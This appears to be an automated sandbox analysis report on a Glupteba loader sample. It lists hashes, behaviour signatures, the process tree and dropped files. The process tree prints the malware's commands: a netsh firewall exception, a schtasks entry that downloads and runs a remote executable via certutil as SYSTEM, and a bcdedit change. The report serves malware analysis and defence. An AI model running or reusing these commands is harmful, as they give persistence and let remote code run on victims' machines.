Analysis

  • max time kernel
    147s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    04-06-2024 20:40

General

  • Target

    962e4680c8820f0d2d43d5c3422f0cb2_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    962e4680c8820f0d2d43d5c3422f0cb2

  • SHA1

    c8d41e4f2468fd46715976fbdc7636a8be354076

  • SHA256

    e81109c8620c9edf99a84a76ee4b109f3820375339c6705130c3f267c91ee84e

  • SHA512

    267c168871e8cacaec7d19dcd019315c73a2d96eff869fe73736d5a4abfccb39ce4431b1800fc476901628890c800f60987982d11bae5b2c9be3a0c0132ca0cf

  • SSDEEP

    98304:p+CHDXIkXEVXisqwgIBjanxT/OiK3JetVFL0i0Cl:pmkXEMVwmxjO7wR

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • Windows security bypass 2 TTPs 12 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 11 IoCs
  • Windows security modification 2 TTPs 12 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 5 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\962e4680c8820f0d2d43d5c3422f0cb2_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\962e4680c8820f0d2d43d5c3422f0cb2_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1540
    • C:\Users\Admin\AppData\Local\Temp\962e4680c8820f0d2d43d5c3422f0cb2_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\962e4680c8820f0d2d43d5c3422f0cb2_JaffaCakes118.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1956
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Modifies data under HKEY_USERS
          PID:2096
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2616
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:2044
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:2764
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2020
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:336
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240604204013.log C:\Windows\Logs\CBS\CbsPersist_20240604204013.cab
    1⤵
    • Drops file in Windows directory
    PID:2724

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

    Filesize

    914B

    MD5

    e4a68ac854ac5242460afd72481b2a44

    SHA1

    df3c24f9bfd666761b268073fe06d1cc8d4f82a4

    SHA256

    cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

    SHA512

    5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    1KB

    MD5

    a266bb7dcc38a562631361bbf61dd11b

    SHA1

    3b1efd3a66ea28b16697394703a72ca340a05bd5

    SHA256

    df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

    SHA512

    0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC

    Filesize

    252B

    MD5

    780bff76eb7ae4bbff2be7b37c72b927

    SHA1

    96bc4a0c4c8ea0f1a647835ed13c1327eefffe90

    SHA256

    b31ac6ff79b1c69803909242441711e44b025e2a788604cebcc4c7100409675a

    SHA512

    c3eeb52da38bb1d85ddcec9d503497bdba49c81e39179e816b03e31d083adbeeb295dd8e030660e365a6865a197f9d500c59e58e09b8020e0ff2387e47fd3cb8

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    242B

    MD5

    2d90d159656c05caf766b115160f5eb4

    SHA1

    06d39561b56714e67c8ca182032641d32f4fa45f

    SHA256

    0e7ff451c2a6c718b9b06ddd174ff1c3a22d852be9b058860b0274058ae4f5f5

    SHA512

    eda1c34aefb595f92e0f35e0974dc72e270ea37adceeeeb2437bb8f2309cc861174aac35353b5afcf35354142c45f1d7ead39c6012c0e960eca3c6ba638f8bcf

  • C:\Users\Admin\AppData\Local\Temp\Tar2B4A.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\osloader.exe

    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

  • \Users\Admin\AppData\Local\Temp\symsrv.dll

    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    962e4680c8820f0d2d43d5c3422f0cb2

    SHA1

    c8d41e4f2468fd46715976fbdc7636a8be354076

    SHA256

    e81109c8620c9edf99a84a76ee4b109f3820375339c6705130c3f267c91ee84e

    SHA512

    267c168871e8cacaec7d19dcd019315c73a2d96eff869fe73736d5a4abfccb39ce4431b1800fc476901628890c800f60987982d11bae5b2c9be3a0c0132ca0cf

  • memory/1540-4-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/1540-0-0x0000000002780000-0x0000000002B27000-memory.dmp

    Filesize

    3.7MB

  • memory/1540-6-0x0000000002780000-0x0000000002B27000-memory.dmp

    Filesize

    3.7MB

  • memory/1540-7-0x0000000000400000-0x0000000000B10000-memory.dmp

    Filesize

    7.1MB

  • memory/1540-5-0x0000000002B30000-0x0000000003226000-memory.dmp

    Filesize

    7.0MB

  • memory/1540-3-0x0000000000400000-0x0000000000B10000-memory.dmp

    Filesize

    7.1MB

  • memory/1540-2-0x0000000002B30000-0x0000000003226000-memory.dmp

    Filesize

    7.0MB

  • memory/1540-1-0x0000000002780000-0x0000000002B27000-memory.dmp

    Filesize

    3.7MB

  • memory/2020-27-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2020-41-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2616-570-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-650-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-190-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-339-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-667-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-666-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-653-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-421-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-652-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-646-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-647-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-648-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-649-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2616-21-0x0000000002710000-0x0000000002AB7000-memory.dmp

    Filesize

    3.7MB

  • memory/2616-651-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2664-8-0x0000000002870000-0x0000000002C17000-memory.dmp

    Filesize

    3.7MB

  • memory/2664-9-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2664-10-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB

  • memory/2664-20-0x0000000000400000-0x0000000000D22000-memory.dmp

    Filesize

    9.1MB